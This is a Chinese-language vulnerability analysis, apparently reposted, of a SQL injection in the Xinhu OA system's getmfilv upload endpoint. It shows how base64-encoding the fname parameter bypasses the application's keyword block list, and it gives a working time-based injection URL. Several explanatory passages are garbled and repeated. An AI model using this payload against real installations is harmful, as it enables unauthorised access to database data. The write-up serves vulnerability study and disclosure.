信呼OA辦公系統sql注入漏洞分析

漏洞描述

信呼OA辦公系統uploadAction存在SQL注入漏洞,攻擊者可利用該漏洞獲取數據庫敏感信息。

環境搭建

源碼下載地址:https://github.com/rainrocka/xinhu
下載后解壓到本地網站根目錄下,配置好數據庫,然后安裝即可
圖片.png
圖片.png
默認密碼是admin/123456,登錄進去得更改一次密碼

路由分析

在include/View.php中詳細介紹了路由的定義

<?php  
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');  
$ajaxbool   = $rock->get('ajaxbool', $ajaxbool);  
$p  = PROJECT;//define('PROJECT', 'webmain');  
if(!isset($m))$m='index';  
if(!isset($a))$a='default';  
if(!isset($d))$d='';  
$m  = $rock->get('m', $m);  
$a  = $rock->get('a', $a);  
$d  = $rock->get('d', $d);  
?  
define('M', $m);  
define('A', $a);  
define('D', $d);  
define('P', $p);  
?  
$_m = $m;  
if($rock->contain($m, '|')){  $_mas = explode('|', $m);//以|分割變量m  $m= $_mas[0];  $_m = $_mas[1];  
}  
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//調用strformat進行格式化,其中?0、?1 等是占位符  
$rand   = date('YmdHis').rand(1000,9999);//隨機值  
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一個字符不是/且$d不是空就在$d后面加一個/  
$errormsg   = '';  
$methodbool = true;  
$actpath    = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目錄/webmain/$d/$_m  
define('ACTPATH', $actpath);  
$actfile    = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目錄/webmain/$d/$_m/$mAction.php  
$actfile1   = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目錄/webmain/$d/$_m/$_mAction.php  
$actbstr = null;  
//依次判斷$actfile1以及$actfile哪個文件存在,哪個存在包含哪個  
if(file_exists($actfile1))  include_once($actfile1);  
if(file_exists($actfile)){  include_once($actfile);  $clsname    = ''.$m.'ClassAction';  $xhrock = new $clsname();//創建一個與$m相關類的對象  $actname    = ''.$a.'Action';//在$a后接一個Action  if($ajaxbool == 'true')//判斷ajaxbool是否為true  $actname    = ''.$a.'Ajax';//在$a后接一個Ajax  if(method_exists($xhrock, $actname)){//檢測類中是否存在該方法  $xhrock->beforeAction();  $actbstr = $xhrock->$actname();  $xhrock->bodyMessage = $actbstr;  if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}  if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}  }else{  $methodbool = false;  if($ajaxbool == 'false')echo ''.$actname.' not found;';  }  $xhrock->afterAction();  
}else{  echo 'actionfile not exists;';  $xhrock = new Action();  
}  
?  
$_showbool = false;  
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){  $xhrock->smartydata['p']    = $p;  $xhrock->smartydata['a']    = $a;  $xhrock->smartydata['m']    = $m;  $xhrock->smartydata['d']    = $d;  $xhrock->smartydata['rand'] = $rand;  $xhrock->smartydata['qom']  = QOM;  $xhrock->smartydata['path'] = PATH;  $xhrock->smartydata['sysurl']= SYSURL;  $temppath   = ''.ROOT_PATH.'/'.$p.'/';  $tplpaths   = ''.$temppath.'/'.$d.''.$m.'/';  $tplname    = 'tpl_'.$m.'';  if($a!='default')$tplname  .= '_'.$a.'';  $tplname       .= '.'.$xhrock->tpldom.'';  $mpathname  = $tplpaths.$tplname;  if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;  if(!file_exists($mpathname) || !$methodbool){  if(!$methodbool){  $errormsg   = 'in ('.$m.') not found Method('.$a.');';  }else{  $errormsg   = ''.$tplname.' not exists;';  }  echo $errormsg;  }else{  $_showbool = true;  }  
}  
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){  $xhrock->setHtmlData();  $da = $xhrock->smartydata;  foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;  include_once($mpathname);  $_showbool = false;  
}

這里用get方式會接收m,d,a,ajaxbool參數

  • a j a x b o o l :用于判斷請求是否為 A J A X 請求,默認值從 ajaxbool:用于判斷請求是否為AJAX請求,默認值從 ajaxbool:用于判斷請求是否為AJAX請求,默認值從rock->jm->gettoken獲取。當ajaxbool為false時,是對xxxAction.php的內容訪問,當ajaxbool為true時,是對xxxAjax.php的內容進行訪問
  • $m, $a, $d:分別代表php文件名(不含Action)、動作名(action)、目錄名(webadmin下的子目錄),默認值分別為index,default、空字符串。

舉例:index.php?a=deluser&m=imgroup&d=&ajaxbool=true&gid=38&sid=1

  • $m:user,表示請求的是webadmin下的imgroup 目錄。
  • $a:list,表示請求的方法是 deluser。
  • ajaxbool:true,表示這是一個 AJAX 請求
    圖片.png

漏洞分析

漏洞的位置在webmain/task/api/uploadAction.php中
核心代碼在getmfilvAction()方法里邊

	public function getmfilvAction(){$fileid = (int)$this->get('fileid','0');$frs 	= m('file')->getone($fileid);if(!$frs)return returnerror('不存在');$lujing	= $frs['filepathout'];if(isempt($lujing)){$lujing = $frs['filepath'];if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');}$fileext = $frs['fileext'];$fname = $this->jm->base64decode($this->get('fname'));$fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';$filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';$this->rock->createtxt($filepath, file_get_contents($lujing));$uarr = array('filename' => $fname,'fileext' => $fileext,'filepath' => $filepath,'filesize' => filesize($filepath),'filesizecn' => $this->rock->formatsize(filesize($filepath)),'optid' 	=> $this->adminid,'optname' 	=> $this->adminname,'adddt' 	=> $this->rock->now,'ip' 		=> $this->rock->ip,'web' 		=> $this->rock->web,);$uarr['id'] = m('file')->insert($uarr);return returnsuccess($uarr);}

getmfilvAction 方法的主要功能是從數據庫中獲取文件信息,讀取文件內容,生成新的文件,并將新文件的信息記錄到數據庫中。最后,返回生成文件的信息。
在該方法中有兩個可以控制的參數,一個是fileid另一個是fname,但是fileid參數會進行類型轉換為int類型存在注入幾率幾乎為零,其中fname還進行了base64解碼操作,最后將兩個參數的內容連同其他文件基本信息進行數據庫的插入操作,在這個地方想要確定有sql注入需要確定get方法以及insert方法是否存在sql語句的過濾
進入Model.php中的inser()方法

	public function insert($arr){$nid = 0;if($this->record($arr, ''))$nid = $this->db->insert_id();return $nid;}

對傳入的參數進行record方法的校驗若不為false,那么就獲取到其id值
跟進record方法
圖片.png
再跟進 public function record( t a b l e , table, table,array,$where=‘’)

	{$addbool  	= true;if(!$this->isempt($where))$addbool=false;$cont		= '';if(is_array($array)){foreach($array as $key=>$val){$cont.=",`$key`=".$this->toaddval($val)."";}$cont	= substr($cont,1);}else{$cont	= $array;}$table = $this->gettables($table);if($addbool){$sql="insert into $table set $cont";}else{$where = $this->getwhere($where);$sql="update $table set $cont where $where";}return $this->tranbegin($sql);}

代碼解讀:該方法首先是是對where參數進行非空判斷,前面代碼是將where設置為空了,那么 a d d b o o l 就是 f a l s e 。接著就是判斷 addbool就是false。接著就是判斷 addbool就是false。接著就是判斷array是否為數組,若是數組就進行遍歷將每個字段和對應的值拼接到 c o n t 字符串中并調用 t o a d d v a l 方法確保傳入的字符串被正確地格式化為 S Q L 語句中的字符串值,但該方法并沒有對 s q l 進行任何過濾 ; 然后調用 g e t t a b l e s 設置表名,接著進入 e l s e 語句,我們清晰的看到 cont字符串中并調用toaddval方法確保傳入的字符串被正確地格式化為 SQL 語句中的字符串值,但該方法并沒有對sql進行任何過濾;然后調用gettables設置表名,接著進入else語句,我們清晰的看到 cont字符串中并調用toaddval方法確保傳入的字符串被正確地格式化為SQL語句中的字符串值,但該方法并沒有對sql進行任何過濾;然后調用gettables設置表名,接著進入else語句,我們清晰的看到sql變量直接將$cont語句拼接到了sql語句中
接著我們去get方法中看看該方法對傳入的內容有什么過濾,來到rockClass.php中

	public function get($name,$dev='', $lx=0){$val=$dev;if(isset($_GET[$name]))$val=$_GET[$name];if($this->isempt($val))$val=$dev;return $this->jmuncode($val, $lx, $name);}

這個方法只是判斷是否進行get傳參如果傳參成功就進行賦值操作,之后進行非空判斷,調用jmucade方法()將其值返回。該方法中并沒有對sql語句進行過濾
這個文件里有個construct()方法,實例化rockClass對象就會觸發

	public function __construct(){		$this->ip		= $this->getclientip();$this->host		= isset($_SERVER['HTTP_HOST'])		? $_SERVER['HTTP_HOST']		: '' ;if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host);$this->url		= '';$this->isqywx	= false;$this->win		= php_uname();$this->HTTPweb	= isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']	: '' ;$this->web		= $this->getbrowser();$this->unarr	= explode(',','1,2');$this->now		= $this->now();$this->date		= date('Y-m-d');$this->lvlaras  = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');$this->lvlaraa  = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');$this->lvlarab	= array();foreach($this->lvlaraa as $_i)$this->lvlarab[]='';}

這里過濾大部分sql注入一些敏感字符,通過以上分析發現這個fname參數經過get傳參后會進行base64decode方法進行base64解密,那么如果我們將filename傳入惡意的sql語句進行base64編碼,就會繞過rockClass.php中的construct方法中的sql語句的過濾,之后進行base64解密又拼接到sql語句造成sql注入的形成

漏洞驗證

payload:

api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDMpIw==

payload解釋:漏洞的位置在webmain/task/api/uploadAction.php中的getmfilv方法中,d傳task參數表示在webadmin/task目錄下,m傳upload|api,第一部分 upload 會被賦值給 $m,第二部分 api 會被賦值給 $_m,表示
api下的uploadAction.php文件,a傳getmfilv文件表示調用uploadAction.php的、getmfilv()方法,fname傳sql注入的payload,進行base64編碼

成功延時
圖片.png
圖片.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895512.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895512.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895512.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

vue框架生命周期詳細解析

Vue.js 的生命周期鉤子函數是理解 Vue 組件行為的關鍵。每個 Vue 實例在創建、更新和銷毀過程中都會經歷一系列的生命周期階段&#xff0c;每個階段都有對應的鉤子函數&#xff0c;開發者可以在這些鉤子函數中執行特定的操作。 Vue 生命周期概述 Vue 的生命周期可以分為以下幾…

一文深入了解DeepSeek-R1:模型架構

本文深入探討了 DeepSeek-R1 模型架構。讓我們從輸入到輸出追蹤 DeepSeek-R1 模型&#xff0c;以找到架構中的新發展和關鍵部分。DeepSeek-R1 基于 DeepSeek-V3-Base 模型架構。本文旨在涵蓋其設計的所有重要方面。 &#x1f4dd; 1. 輸入上下文長度 DeepSeek-R1的輸入上下文長…

開發基礎(8):鴻蒙圖表開發

mpchart mpchart是一個包含各種類型圖表的圖表庫,主要用于業務數據匯總,例如銷售數據走勢圖,股價走勢圖等場景中使用,方便開發者快速實現圖表UI,mpchart主要包括線形圖、柱狀圖、餅狀圖、蠟燭圖、氣泡圖、雷達圖、瀑布圖等自定義圖表庫。 柱狀圖 導入import {BarChart, …

條款03:盡可能使用 const

const 允許我們指定一個語義約束&#xff0c;使某個值應該保持不變 1、const 修飾 變量&#xff0c;指針&#xff0c;函數&#xff0c;函數返回值等&#xff0c;可以使程序減少錯誤&#xff0c;或者更容易檢測錯誤&#xff1a; 指針常量&#xff1a;int* const p;//指針地址不…

算法兵法全略(譯文)

目錄 始計篇 謀攻篇 軍形篇 兵勢篇 虛實篇 軍爭篇 九變篇 行軍篇 地形篇 九地篇 火攻篇 用間篇 始計篇 算法&#xff0c;在當今時代&#xff0c;猶如國家關鍵的戰略武器&#xff0c;也是處理各類事務的核心樞紐。算法的世界神秘且變化萬千&#xff0c;不夠賢能聰慧…

開關電源實戰(一)寬范圍DC降壓模塊MP4560

系列文章目錄 文章目錄 系列文章目錄MP4560MP4560 3.8V 至 55V 的寬輸入范圍可滿足各種降壓應用 MOSFET只有250mΩ 輸出可調0.8V-52V SW:需要低VF肖特基二極管接地,而且要靠近引腳,高壓側開關的輸出。 EN:輸入使能,拉低到閾值以下關閉芯片,拉高或浮空啟動 COMP:Compens…

微軟AutoGen高級功能——Magentic-One

介紹 大家好&#xff0c;博主又來給大家分享知識了&#xff0c;這次給大家分享的內容是微軟AutoGen框架的高級功能Magentic-One。那么它是用來做什么的或它又是什么功能呢&#xff0c;我們直接進入正題。 Magentic-One Magnetic-One是一個通用型多智能體系統&#xff0c;用于…

DeepSeek是如何通過“蒸餾”技術打造自己的AI模型

1 引言&#xff1a; 最近&#xff0c;外媒對中國公司——DeepSeek進行了猛烈抨擊&#xff0c;指控其采用了所謂的“蒸餾”&#xff08;Distillation&#xff09;技術&#xff0c;涉嫌抄襲甚至作弊。那么&#xff0c;什么是“蒸餾”技術&#xff1f; 在人工智能領域&#xff0c;…

【廣州大學主辦,發表有保障 | IEEE出版,穩定EI檢索,往屆見刊后快至1個月檢索】第二屆電氣技術與自動化工程國際學術會議 (ETAE 2025)

第二屆電氣技術與自動化工程國際學術會議 (ETAE 2025) The 2nd International Conference on Electrical Technology and Automation Engineering 大會官網&#xff1a;http://www.icetae.com/【更多詳情】 會議時間&#xff1a;2025年4月25-27日 會議地點&#xff1a…

伯克利 CS61A 課堂筆記 08 —— Strings and Dictionaries

本系列為加州伯克利大學著名 Python 基礎課程 CS61A 的課堂筆記整理&#xff0c;全英文內容&#xff0c;文末附詞匯解釋。 目錄 01 Strings 字符串 Ⅰ Strings are An Abstraction. Ⅱ Strings Literals have Three Forms Ⅲ String are Sequences 02 Dictionaries 字典 …

基于 GEE 計算研究區年均地表溫度數據

目錄 1 代碼解析 2 完整代碼 3 運行結果 1 代碼解析 &#xff08;1&#xff09;定義研究區&#xff1a; // 研究區的范圍需要自己提前上傳 var dataset table;// 將研究區顯示在中心&#xff0c;后面的數字為縮放等級&#xff0c;范圍從1 - 24 Map.centerObject(dataset,…

docker compose快速部署kafka-connect集群

先部署kafka集群&#xff0c;啟動 參考&#xff1a;docker compose部署kafka集群-CSDN博客 創建timezone文件&#xff0c;內容填寫Asia/Shanghai 再部署kafka-connect集群 networks: net: external: true services: kafka-connect1: restart: always image:…

Hutool - BloomFilter:便捷的布隆過濾器實現

1. 布隆過濾器簡介 布隆過濾器&#xff08;Bloom Filter&#xff09;是一種空間效率極高的概率型數據結構&#xff0c;用于判斷一個元素是否存在于一個集合中。它的優點是空間效率和查詢時間都遠遠超過一般的算法&#xff0c;但缺點是有一定的誤判率&#xff0c;即判斷元素存在…

日常知識點之遺留問題梳理(定時器/時間輪定時器)

1&#xff1a;簡單基礎 定時器的核心知識點&#xff0c;對我來說就是獲取當前時間和設置回調函數。 簡單練習&#xff1a; ? c語言通過gettimeofday 獲取當前時間并進行處理 ? 回調函數的定義&#xff08;函數參數有必要適當存儲&#xff09; typedef void(Timerfunc)(vo…

Python + WhisperX:解鎖語音識別的高效新姿勢

大家好&#xff0c;我是烤鴨&#xff1a; 最近在嘗試做視頻的質量分析&#xff0c;打算利用asr針對聲音判斷是否有人聲&#xff0c;以及識別出來的文本進行進一步操作。asr看了幾個開源的&#xff0c;最終選擇了openai的whisper&#xff0c;后來發現性能不行&#xff0c;又換了…

$ npx electron-forge import 一直報權限問題 resource busy or locked,

jackLAPTOP-7DHDAAL0 MINGW64 /e/project/celetron-project/my-electron-app (master) $ npx electron-forge import > Checking your system > Checking git exists > Checking node version > Checking packageManager version √ Found node22.14.0 √ Found gi…

mapbox 從入門到精通 - 目錄

&#x1f468;??? 主頁&#xff1a; gis分享者 &#x1f468;??? 感謝各位大佬 點贊&#x1f44d; 收藏? 留言&#x1f4dd; 加關注?! &#x1f468;??? 收錄于專欄&#xff1a;mapbox 從入門到精通 文章目錄 一、&#x1f340;總目錄1.1 ?? mapbox基礎1.2 ??…

Kotlin 2.1.0 入門教程(十五)繼承、重寫、派生類初始化順序

繼承 所有類都有一個共同的超類 Any&#xff0c;對于沒有聲明超類型的類來說&#xff0c;Any 是其默認的超類&#xff1a; // 隱式繼承自 Any。 class ExampleAny 有三個方法&#xff1a;equals()、hashCode() 和 toString()。因此&#xff0c;所有類都定義了這些方法。 默認…

sqlilabs--小實驗

一、先盲注判斷 ?id1 and sleep(2)-- 如果發現頁面存在注點&#xff0c;使用時間盲注腳本進行注入 import requestsdef inject_database(url):name for i in range(1, 20): # 假設數據庫名稱長度不超過20low 48 # 0high 122 # zmiddle (low high) // 2while low &l…

【數字】異步FIFO面試的幾個小問題與跨時鐘域時序約束

入門數字設計的時候&#xff0c;跨時鐘域的數據處理是繞不開的課題&#xff0c;特別是多比特數據跨時鐘域時&#xff0c;都會采用異步FIFO的方法。 異步FIFO中涉及較多的考點這里記錄幾個以供大家參考。 1. 異步FIFO的空滿判斷分別在哪個域&#xff1f; 根據異步FIFO的結構&…